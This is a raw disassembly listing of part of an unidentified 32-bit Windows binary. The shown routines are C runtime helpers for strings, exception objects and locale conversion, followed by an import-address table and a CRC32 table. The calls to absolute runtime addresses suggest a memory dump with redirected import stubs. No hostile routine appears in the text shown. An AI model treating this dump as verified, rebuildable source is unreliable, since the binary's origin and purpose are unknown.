		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26603C8h
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2841212h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2841212h
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2710000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 260055Eh
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 260055Eh
		nop
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2841212h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2841212h
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25E0000h, 25F0000h, 25F0AECh, 2600000h, 26004E9h, 260055Eh
		dd 2610000h, 26106F6h, 2610C77h, 2620000h, 26207E3h, 2620AAAh
dword_427030	dd 2620ABFh		; DATA XREF: ___:004239E2r
		dd 2620B89h, 2620DECh, 2620E46h, 2630000h, 2640000h, 2650000h
		dd 2660000h, 26603C8h, 2660881h, 26608AEh, 2670000h, 2670848h
dword_427064	dd 2670D21h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2680000h		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2680157h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2680493h, 2690000h, 2690AADh
dword_427080	dd 26A0000h		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 26A0060h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 26A0273h
dword_42708C	dd 26A02EBh		; DATA XREF: sub_419C09+B9r
		dd 26A0928h
dword_427094	dd 26A096Ch		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 26A09BFh		; DATA XREF: ___:loc_4013DCr
		dd 26A0C95h, 26A0D72h
dword_4270A4	dd 26A0E4Ah		; DATA XREF: sub_409909+2r
		dd 26B0000h, 26B00EEh
dword_4270B0	dd 26B0735h		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26B0817h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26C0000h, 26C0AF2h
dword_4270C0	dd 26C0B98h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26D0000h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26E0000h, 26F0000h, 26F0582h, 2700000h, 77F7E300h, 77F7E21Fh
		dd 270052Ch, 270077Eh
dword_4270E8	dd 2710000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 2711089h		; DATA XREF: sub_4119F9+Br
		dd 2720000h, 2730000h
dword_4270F8	dd 2730786h		; DATA XREF: sub_4187E0+36r
		dd 27309D5h, 2740000h
dword_427104	dd 2740708h		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2750000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2751507h, 2760000h, 2760B2Ch, 2770000h, 2770549h, 2780000h
		dd 2790000h, 27A0000h, 27A0AABh, 27A0DC3h, 27A0E67h, 27B0000h
		dd 27B02C2h, 27C0000h, 27C0943h
dword_427148	dd 27D0000h		; DATA XREF: sub_4172C1+BCr
		dd 27D05B8h
dword_427150	dd 27E0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27E0C3Dh		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27E0CD1h
dword_42715C	dd 27F0000h		; DATA XREF: sub_41761C+56r
		dd 27F030Fh, 2800000h, 2810000h, 2810625h, 2810C90h, 2820000h
		dd 282018Ch, 2820802h, 2830000h, 2840000h
dword_427188	dd 2841212h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2850000h, 285048Ah, 28509DDh, 2860000h, 2870000h, 2880000h
		dd 288209Bh, 2890000h, 289197Ch, 2891990h, 28A0000h, 28A0DF6h
		dd 28B0000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
